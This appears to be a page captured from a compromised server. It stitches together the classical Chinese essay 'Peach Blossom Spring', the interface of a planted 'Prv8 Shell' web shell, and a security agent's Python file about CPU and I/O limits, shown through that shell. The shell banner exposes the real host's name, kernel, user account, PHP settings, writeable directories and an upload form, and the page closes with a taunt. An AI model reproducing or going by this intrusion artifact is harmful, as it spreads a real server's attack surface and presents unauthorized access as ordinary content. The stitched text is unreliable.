晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /opt/imunify360/venv/lib64/python3.11/site-packages/defence360agent/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/imunify360/venv/lib64/python3.11/site-packages/defence360agent/utils/resource_limits.py
import asyncio
import logging

from enum import Enum
from os import fsdecode
from pathlib import Path
from typing import List

from defence360agent.utils import OsReleaseInfo

logger = logging.getLogger(__name__)


RUN_WITH_INTENSITY = "/usr/libexec/run-with-intensity"

LVECTL_BIN_PATH = Path("/usr/sbin/lvectl")
PROC_LVE_LIST_PATH = Path("/proc/lve/list")


class LimitsMethod(Enum):
    NICE = "nice"
    LVE = "lve"
    CGROUPS = "cgroups"


async def get_current_method() -> LimitsMethod:
    """Returns limit method, used in run-with-intensity tool."""
    proc = await asyncio.create_subprocess_exec(
        RUN_WITH_INTENSITY,
        "show",
        stdout=asyncio.subprocess.PIPE,
        stderr=asyncio.subprocess.PIPE,
    )

    stdout, stderr = await proc.communicate()
    stdout = fsdecode(stdout).strip()

    if stdout == "nice":
        return LimitsMethod.NICE
    if stdout == "lve":
        return LimitsMethod.LVE
    if stdout == "cgroups":
        return LimitsMethod.CGROUPS
    raise LookupError(
        "Parsing of used limitation method failed\nstdout: {}\nstderr: {}"
        .format(stdout, fsdecode(stderr).strip())
    )


async def create_subprocess(
    cmd: List[str],
    key: str,
    intensity_cpu: int,
    intensity_io: int,
    **subprocess_kwargs
) -> asyncio.subprocess.Process:
    """
    Creates asyncio.Process with limited resources (cpu & io),
    using run-with-intensity tool.

    :param cmd: command to execute
    :param intensity_cpu: cpu intensity limit
    :param intensity_io: io intensity limit
    :param subprocess_kwargs: keyword arguments for create_subprocess_exec func
    :return: executed Process
    """
    limits_cmd = [
        RUN_WITH_INTENSITY,
        "run",
        "--intensity-cpu",
        str(intensity_cpu),
        "--intensity-io",
        str(intensity_io),
    ]
    limits_cmd.extend(["--key", key])

    return await asyncio.create_subprocess_exec(
        *(limits_cmd + cmd), **subprocess_kwargs
    )


def is_lve_active() -> bool:
    """Checks that LVE-utils is active resource limiter."""
    # to avoid possible errors such as DEF-11941
    # make sure that OS is CL
    return PROC_LVE_LIST_PATH.exists() and OsReleaseInfo.is_cloudlinux()


def has_lvectl() -> bool:
    """Checks that LVE-utils is installed."""
    return LVECTL_BIN_PATH.exists()

haha - 2025